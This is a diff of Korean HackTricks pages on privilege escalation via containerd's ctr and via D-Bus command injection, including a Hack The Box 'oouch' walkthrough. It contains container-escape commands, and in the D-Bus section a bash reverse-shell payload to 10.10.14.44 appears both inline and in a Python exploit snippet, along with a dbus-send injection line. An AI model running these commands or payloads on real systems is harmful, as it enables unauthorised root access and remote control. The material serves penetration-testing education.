||||
</details>
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Containerd (ctr) 권한 상승
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
|
@ -30,43 +31,40 @@ which ctr
|
|||
/usr/bin/ctr
|
||||
```
|
||||
이미지를 나열할 수 있습니다:
|
||||
|
||||
```bash
|
||||
ctr images ls
|
||||
```
|
||||
```bash
|
||||
ctr image list
|
||||
REF TYPE DIGEST SIZE PLATFORMS LABELS
|
||||
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
|
||||
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
|
||||
```
|
||||
그리고 **호스트 루트 폴더를 마운트하여 그 이미지 중 하나를 실행**합니다:
|
||||
그런 다음 **호스트 루트 폴더를 마운트하여 해당 이미지 중 하나를 실행하십시오**:
|
||||
```bash
|
||||
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
|
||||
```
|
||||
## PE 2
|
||||
|
||||
특권이 부여된 컨테이너를 실행하고 그로부터 탈출하세요.\
|
||||
특권을 부여받은 컨테이너를 실행하고 이탈하세요.\
|
||||
다음과 같이 특권이 부여된 컨테이너를 실행할 수 있습니다:
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
다음 페이지에서 언급된 몇 가지 기술을 사용하여 **특권된 기능을 남용하여 탈출**할 수 있습니다:
|
||||
그럼 특권 기능을 남용하여 탈출하는 기술 중 일부를 사용할 수 있습니다:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# D-Bus 열거 및 명령 주입 권한 상승
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **GUI 열거**
|
||||
|
||||
D-Bus는 Ubuntu 데스크톱 환경에서 프로세스 간 통신 (IPC) 매개체로 사용됩니다. Ubuntu에서는 여러 메시지 버스의 동시 작동이 관찰됩니다. 시스템 버스는 **시스템 전체에서 관련 서비스를 노출하기 위해 권한이 있는 서비스**에 주로 사용되며, 각 로그인한 사용자에 대해 세션 버스가 사용되어 해당 사용자에게만 관련 서비스를 노출합니다. 여기서는 권한 상승을 목표로 하기 때문에 주로 시스템 버스에 초점을 맞춥니다. D-Bus의 아키텍처는 세션 버스마다 '라우터'를 사용하여 클라이언트 메시지를 클라이언트가 통신하려는 서비스에 지정한 주소를 기반으로 적절한 서비스로 리디렉션하는 역할을 합니다.
|
||||
D-Bus는 Ubuntu 데스크톱 환경에서 프로세스 간 통신 (IPC) 미디에이터로 사용됩니다. Ubuntu에서는 여러 메시지 버스의 동시 작동이 관찰됩니다: 시스템 버스는 **시스템 전체에서 관련 서비스를 노출하는 권한 있는 서비스에 의해 주로 사용**되며, 각 로그인한 사용자마다 세션 버스가 있어 해당 특정 사용자에게만 관련 서비스를 노출합니다. 여기서 주로 시스템 버스에 초점을 맞추는 이유는 더 높은 권한 (예: 루트)으로 실행되는 서비스와 관련이 있기 때문입니다. D-Bus의 아키텍처는 세션 버스당 '라우터'를 사용하며, 클라이언트 메시지를 클라이언트가 통신하려는 서비스를 기반으로 적절한 서비스로 리디렉션하는 역할을 합니다.
|
||||
|
||||
D-Bus의 서비스는 노출하는 **객체**와 **인터페이스**에 의해 정의됩니다. 객체는 표준 OOP 언어에서의 클래스 인스턴스와 유사하며, 각 인스턴스는 **객체 경로**에 의해 고유하게 식별됩니다. 이 경로는 파일 시스템 경로와 유사하게 서비스가 노출하는 각 객체를 고유하게 식별합니다. 연구 목적을 위한 주요 인터페이스는 **org.freedesktop.DBus.Introspectable** 인터페이스이며, Introspect라는 단일 메서드를 갖고 있습니다. 이 메서드는 객체의 지원하는 메서드, 신호 및 속성의 XML 표현을 반환하며, 여기서는 속성과 신호를 제외하고 주로 메서드에 초점을 맞춥니다.
|
||||
D-Bus의 서비스는 노출하는 **객체** 및 **인터페이스**에 의해 정의됩니다. 객체는 표준 OOP 언어에서 클래스 인스턴스와 유사하며, 각 인스턴스는 **객체 경로**에 의해 고유하게 식별됩니다. 연구 목적을 위한 주요 인터페이스는 **org.freedesktop.DBus.Introspectable** 인터페이스로, 단일 메서드인 Introspect를 특징으로 합니다. 이 메서드는 객체의 지원하는 메서드, 시그널 및 속성의 XML 표현을 반환하며, 여기서는 속성과 시그널을 제외하고 메서드에 중점을 둡니다.
|
||||
|
||||
D-Bus 인터페이스와의 통신을 위해 두 가지 도구를 사용했습니다. D-Bus에서 노출된 메서드를 쉽게 호출하기 위한 CLI 도구인 **gdbus**와 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하기 위한 Python 기반의 GUI 도구인 [**D-Feet**](https://wiki.gnome.org/Apps/DFeet)입니다.
|
||||
D-Bus 인터페이스와의 통신을 위해 두 가지 도구를 사용했습니다: D-Bus에서 노출된 메서드를 쉽게 호출하기 위한 CLI 도구인 **gdbus** 및 [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), Python 기반의 GUI 도구로, 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하는 데 사용됩니다.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
|
@ -29,21 +30,21 @@ sudo apt-get install d-feet
|
|||
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
|
||||
첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되어 있으며, 시스템 버스 버튼을 선택한 후 **org.debin.apt**가 특히 강조되어 있습니다. D-Feet는 이 서비스에 대한 객체를 쿼리하여 선택한 객체의 인터페이스, 메서드, 속성 및 신호를 표시합니다. 이는 두 번째 이미지에서 확인할 수 있습니다. 각 메서드의 시그니처도 자세히 표시됩니다.
|
||||
첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되며, **org.debin.apt**가 특히 System Bus 버튼을 선택한 후 강조되었습니다. D-Feet는이 서비스에 대한 객체를 쿼리하여 선택한 객체에 대한 인터페이스, 메서드, 속성 및 시그널을 표시하며, 두 번째 이미지에서 볼 수 있습니다. 각 메서드의 시그니처도 자세히 설명됩니다.
|
||||
|
||||
주목할만한 기능은 서비스의 **프로세스 ID (pid)**와 **명령 줄**이 표시되는 것인데, 이는 서비스가 상승된 권한으로 실행되는지 확인하는 데 유용하며, 연구의 중요성에 관련이 있습니다.
|
||||
주목할만한 기능은 서비스의 **프로세스 ID (pid)** 및 **명령 줄**이 표시되어 있어 서비스가 승격된 권한으로 실행되는지 확인하는 데 유용하며, 연구의 관련성을 확인하는 데 중요합니다.
|
||||
|
||||
**D-Feet는 또한 메서드 호출을 허용**합니다. 사용자는 파라미터로 Python 표현식을 입력할 수 있으며, D-Feet는 이를 D-Bus 타입으로 변환하여 서비스에 전달합니다.
|
||||
**D-Feet는 또한 메서드 호출을 허용**합니다: 사용자는 파라미터로 Python 표현식을 입력할 수 있으며, D-Feet는이를 서비스로 전달하기 전에 D-Bus 유형으로 변환합니다.
|
||||
|
||||
그러나 **일부 메서드는 인증이 필요**하기 때문에 이러한 메서드는 무시할 것입니다. 왜냐하면 우리의 목표는 처음부터 자격증명 없이 권한을 상승시키는 것이기 때문입니다.
|
||||
그러나 **일부 메서드는 인증이 필요**할 수 있으므로 우리가 자격 증명없이 권한을 상승시키는 것이 목표이기 때문에 이러한 메서드를 무시할 것입니다.
|
||||
|
||||
또한 일부 서비스는 org.freedeskto.PolicyKit1이라는 다른 D-Bus 서비스에 쿼리하여 특정 작업을 수행할 수 있는지 여부를 확인합니다.
|
||||
또한 일부 서비스가 다른 D-Bus 서비스인 org.freedeskto.PolicyKit1을 쿼리하여 사용자가 특정 작업을 수행할 수 있는지 여부를 확인합니다.
|
||||
|
||||
## **Cmd line 열거**
|
||||
|
||||
### 서비스 객체 목록
|
||||
|
||||
다음 명령을 사용하여 열린 D-Bus 인터페이스를 나열할 수 있습니다:
|
||||
D-Bus 인터페이스를 열거하는 것이 가능합니다.
|
||||
```bash
|
||||
busctl list #List D-Bus interfaces
|
||||
|
||||
|
@ -69,11 +70,11 @@ org.freedesktop.locale1 - - - (act
|
|||
```
|
||||
#### 연결
|
||||
|
||||
[위키백과에서 가져온 내용:](https://en.wikipedia.org/wiki/D-Bus) 프로세스가 버스에 연결을 설정할 때, 버스는 연결에 _고유 연결 이름_이라고 불리는 특별한 버스 이름을 할당합니다. 이 유형의 버스 이름은 변경되지 않으며, 연결이 존재하는 한 항상 동일하게 유지됩니다. 더 중요한 것은, 버스의 수명 동안 이러한 고유 연결 이름이 다른 연결에 재사용되지 않는다는 것입니다. 즉, 동일한 프로세스가 버스에 대한 연결을 닫고 새로운 연결을 생성하더라도 다른 연결에는 이러한 고유 연결 이름이 할당되지 않습니다. 고유 연결 이름은 일반적으로 금지된 콜론 문자로 시작하기 때문에 쉽게 인식할 수 있습니다.
|
||||
[위키백과에서:](https://en.wikipedia.org/wiki/D-Bus) 프로세스가 버스에 연결을 설정하면, 버스는 해당 연결에 _고유 연결 이름_이라고 불리는 특별한 버스 이름을 할당합니다. 이 유형의 버스 이름은 변경할 수 없으며, 연결이 존재하는 한 변경되지 않음이 보장됩니다. 더 중요한 것은 이러한 고유 연결 이름이 버스 수명 동안 재사용될 수 없다는 것입니다. 이는 동일한 프로세스가 버스에 대한 연결을 닫고 새로운 연결을 만들더라도 다른 연결이 해당 고유 연결 이름을 할당받지 않을 것을 의미합니다. 고유 연결 이름은 일반적으로 금지된 콜론 문자로 시작하기 때문에 쉽게 식별할 수 있습니다.
|
||||
|
||||
### 서비스 객체 정보
|
||||
|
||||
그런 다음, 다음 명령을 사용하여 인터페이스에 대한 일부 정보를 얻을 수 있습니다:
|
||||
그런 다음, 인터페이스에 대한 일부 정보를 얻을 수 있습니다.
|
||||
```bash
|
||||
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
|
||||
|
||||
|
@ -143,9 +144,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
|||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### 서비스 객체의 Introspect 인터페이스
|
||||
### 서비스 객체의 인트로스펙트 인터페이스
|
||||
|
||||
이 예제에서는 `tree` 매개변수를 사용하여 최신 인터페이스가 선택되었음에 유의하세요 (_이전 섹션 참조_):
|
||||
이 예에서는 `tree` 매개변수를 사용하여 발견된 최신 인터페이스가 선택되었음에 유의하십시오. (_이전 섹션 참조_) :
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
|
@ -167,10 +168,10 @@ org.freedesktop.DBus.Properties interface - - -
|
|||
|
||||
충분한 권한이 있으면 (`send_destination` 및 `receive_sender` 권한만으로는 충분하지 않음) **D-Bus 통신을 모니터링**할 수 있습니다.
|
||||
|
||||
**통신을 모니터링**하려면 **루트 권한**이 필요합니다. 여전히 루트로 문제가 발생하는 경우 [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) 및 [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)를 확인하세요.
|
||||
**통신을 모니터링**하려면 **루트**여야합니다. 여전히 루트로 문제가 발생하는 경우 [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) 및 [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)를 확인하십시오.
|
||||
|
||||
{% hint style="warning" %}
|
||||
D-Bus 구성 파일을 **비루트 사용자가 통신을 스니핑**할 수 있도록 구성하는 방법을 알고 있다면 **저에게 연락**해주세요!
|
||||
D-Bus 구성 파일을 구성하여 **루트가 아닌 사용자가 통신을 스니핑할 수 있도록**하는 방법을 알고 계신다면 **저에게 연락**해주세요!
|
||||
{% endhint %}
|
||||
|
||||
모니터링하는 다양한 방법:
|
||||
|
@ -179,7 +180,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
|||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
다음 예제에서는 인터페이스 `htb.oouch.Block`이 모니터링되며, **오해를 통해 메시지 "**_**lalalalal**_**"이 전송됩니다**:
|
||||
다음 예에서는 인터페이스 `htb.oouch.Block`이 모니터링되며 **"**_**lalalalal**_**" 메시지가 잘못된 통신을 통해 전송됩니다**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
|
@ -198,15 +199,13 @@ MESSAGE "s" {
|
|||
STRING "Carried out :D";
|
||||
};
|
||||
```
|
||||
`monitor` 대신 `capture`를 사용하여 결과를 pcap 파일에 저장할 수 있습니다.
|
||||
#### 모든 소음 필터링 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
#### 모든 노이즈 필터링하기 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
버스에 너무 많은 정보가 있는 경우 다음과 같이 일치 규칙을 전달하세요:
|
||||
버스 상에 너무 많은 정보가 있다면 다음과 같이 일치 규칙을 전달하세요:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
다중 규칙을 지정할 수 있습니다. 메시지가 규칙 중 _어떤 하나_와 일치하는 경우, 해당 메시지가 출력됩니다. 다음과 같이:
|
||||
다수의 규칙을 지정할 수 있습니다. 메시지가 규칙 중 _어떤 하나라도_ 일치하는 경우 메시지가 출력됩니다. 다음과 같이:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
|
@ -214,15 +213,15 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
|||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
더 많은 정보를 위해 [D-Bus 문서](http://dbus.freedesktop.org/doc/dbus-specification.html)를 참조하세요.
|
||||
[D-Bus 문서](http://dbus.freedesktop.org/doc/dbus-specification.html)에서 일치 규칙 구문에 대한 자세한 정보를 확인하세요.
|
||||
|
||||
### 추가 정보
|
||||
### 더 보기
|
||||
|
||||
`busctl`에는 더 많은 옵션이 있습니다. [**여기에서 모두 찾아보세요**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
`busctl`에는 더 많은 옵션이 있습니다. [**여기에서 모두 찾을 수 있습니다**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
|
||||
## **취약한 시나리오**
|
||||
|
||||
HTB의 호스트 "oouch"에서 사용자 **qtc**로서, _/etc/dbus-1/system.d/htb.oouch.Block.conf_에 위치한 **예상치 못한 D-Bus 구성 파일**을 찾을 수 있습니다.
|
||||
호스트 "oouch"에서 사용자 **HTB 내의 qtc로** _/etc/dbus-1/system.d/htb.oouch.Block.conf_에 위치한 **예기치 않은 D-Bus 구성 파일**을 찾을 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
|
@ -243,9 +242,9 @@ HTB의 호스트 "oouch"에서 사용자 **qtc**로서, _/etc/dbus-1/system.d/ht
|
|||
|
||||
</busconfig>
|
||||
```
|
||||
이전 구성에서 알 수 있듯이, D-BUS 통신을 통해 정보를 보내고 받으려면 사용자 `root` 또는 `www-data`로 설정해야 합니다.
|
||||
이전 구성에서 **이 D-BUS 통신을 통해 정보를 보내고 받으려면 사용자 `root` 또는 `www-data` 여야합니다**.
|
||||
|
||||
도커 컨테이너 **aeb4525789d8** 내의 사용자 **qtc**로서, 파일 _/code/oouch/routes.py_에서 dbus 관련 코드를 찾을 수 있습니다. 다음은 흥미로운 코드입니다:
|
||||
도커 컨테이너 **aeb4525789d8** 내의 사용자 **qtc**로 _/code/oouch/routes.py_ 파일에서 일부 dbus 관련 코드를 찾을 수 있습니다. 이것이 흥미로운 코드입니다:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
|
@ -257,14 +256,14 @@ response = block_iface.Block(client_ip)
|
|||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
보시다시피, 이것은 **D-Bus 인터페이스에 연결**하고 "Block" 함수에 "client\_ip"을 보내는 것을 보여줍니다.
|
||||
다음과 같이 **D-Bus 인터페이스에 연결**하고 "Block" 함수에 "client\_ip"을 보냅니다.
|
||||
|
||||
D-Bus 연결의 다른 쪽에는 C로 컴파일된 이진 파일이 실행 중입니다. 이 코드는 D-Bus 연결에서 IP 주소를 **수신 대기**하고 `system` 함수를 통해 iptables를 호출하여 주어진 IP 주소를 차단합니다.\
|
||||
**`system` 호출은 명령 주입에 취약**하기 때문에 다음과 같은 페이로드는 역쉘이 생성됩니다: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
D-Bus 연결의 다른 쪽에는 컴파일된 C 이진 파일이 실행 중입니다. 이 코드는 D-Bus 연결에서 IP 주소를 수신하고 `system` 함수를 통해 주어진 IP 주소를 차단합니다.\
|
||||
**`system` 호출은 의도적으로 명령 삽입에 취약**하며, 다음과 같은 payload는 역쉘을 생성합니다: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### 이를 악용하기
|
||||
### Exploit it
|
||||
|
||||
이 페이지의 끝에는 D-Bus 애플리케이션의 **완전한 C 코드**를 찾을 수 있습니다. 그 안에는 91-97번 줄 사이에 **`D-Bus 객체 경로`**와 **`인터페이스 이름`**이 **등록**되어 있는 것을 찾을 수 있습니다. 이 정보는 D-Bus 연결로 정보를 보내기 위해 필요합니다:
|
||||
이 페이지의 끝에는 **D-Bus 애플리케이션의 완전한 C 코드**를 찾을 수 있습니다. 이 코드 안에는 **`D-Bus 객체 경로`**와 **`인터페이스 이름`**이 **등록**되는 방법이 91-97행 사이에 나와 있습니다. 이 정보는 D-Bus 연결로 정보를 보내는 데 필요합니다:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
|
@ -274,13 +273,13 @@ r = sd_bus_add_object_vtable(bus,
|
|||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
또한, 57번째 줄에서는 이 D-Bus 통신에 등록된 **유일한 메서드**가 `Block`이라는 것을 알 수 있습니다(_**따라서 다음 섹션에서 페이로드는 서비스 객체 `htb.oouch.Block`, 인터페이스 `/htb/oouch/Block` 및 메서드 이름 `Block`으로 전송됩니다**_):
|
||||
또한, 57번째 줄에서 **등록된 유일한 메서드**는 `Block`이라고 불립니다(_**따라서 다음 섹션에서 페이로드가 서비스 객체 `htb.oouch.Block`, 인터페이스 `/htb/oouch/Block` 및 메서드 이름 `Block`으로 전송될 것입니다**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### 파이썬
|
||||
|
||||
다음 파이썬 코드는 페이로드를 D-Bus 연결로 `Block` 메서드에 보내는 코드입니다. `block_iface.Block(runme)`를 통해 전달됩니다. (_이전 코드 청크에서 추출되었음을 참고하세요_) :
|
||||
다음 파이썬 코드는 `Block` 메서드로 페이로드를 D-Bus 연결에 보내며 `block_iface.Block(runme)`를 통해 실행됩니다. (_이전 코드 청크에서 추출되었음을 유의하십시오_) :
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
|
@ -290,28 +289,18 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
|
|||
response = block_iface.Block(runme)
|
||||
bus.close()
|
||||
```
|
||||
#### busctl과 dbus-send
|
||||
|
||||
`busctl` and `dbus-send` are command-line tools used for interacting with the D-Bus system. D-Bus is a message bus system that allows communication between different processes on the same machine or even across different machines on a network.
|
||||
|
||||
`busctl` is a utility that provides a way to introspect and interact with the D-Bus bus. It allows you to list the available bus names, show the objects and interfaces provided by a specific bus name, and call methods on those interfaces.
|
||||
|
||||
`dbus-send` is a command-line tool that allows you to send messages to a specific destination on the D-Bus bus. It can be used to invoke methods on objects, send signals, and set or get property values.
|
||||
|
||||
Both `busctl` and `dbus-send` can be useful for privilege escalation during a penetration test. By enumerating the available bus names and objects, you may discover misconfigurations or vulnerabilities that can be exploited to escalate privileges on the target system. Additionally, you can use `dbus-send` to inject and execute arbitrary commands on the target system, potentially gaining unauthorized access or control.
|
||||
|
||||
It is important to note that these tools should only be used for legitimate purposes, such as testing the security of your own systems or with proper authorization during a penetration test. Unauthorized use of these tools can lead to legal consequences.
|
||||
#### busctl 및 dbus-send
|
||||
```bash
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
* `dbus-send`는 "메시지 버스"에 메시지를 보내는 데 사용되는 도구입니다.
|
||||
* 메시지 버스 - 시스템 간 통신을 쉽게하기 위해 애플리케이션 간 통신에 사용되는 소프트웨어입니다. 메시지 큐와 관련이 있지만 메시지 버스에서는 메시지가 구독 모델로 전송되며 매우 빠릅니다.
|
||||
* "-system" 태그는 세션 메시지가 아닌 시스템 메시지임을 나타내는 데 사용됩니다 (기본값).
|
||||
* "-print-reply" 태그는 메시지를 적절하게 출력하고 인간이 읽을 수 있는 형식으로 응답을 받는 데 사용됩니다.
|
||||
* "--dest=Dbus-Interface-Block"은 Dbus 인터페이스의 주소입니다.
|
||||
* "--string:" - 인터페이스에 보내려는 메시지의 유형입니다. double, bytes, booleans, int, objpath와 같은 여러 형식으로 메시지를 보낼 수 있습니다. 여기서 "object path"는 파일의 경로를 Dbus 인터페이스에 보내려는 경우 유용합니다. 이 경우에는 특수 파일 (FIFO)을 사용하여 파일의 이름으로 인터페이스에 명령을 전달할 수 있습니다. "string:;" - 이것은 다시 객체 경로를 호출하는 것으로, FIFO 역쉘 파일/명령의 위치를 놓는 곳입니다.
|
||||
* `dbus-send`는 "메시지 버스"로 메시지를 보내는 데 사용되는 도구입니다.
|
||||
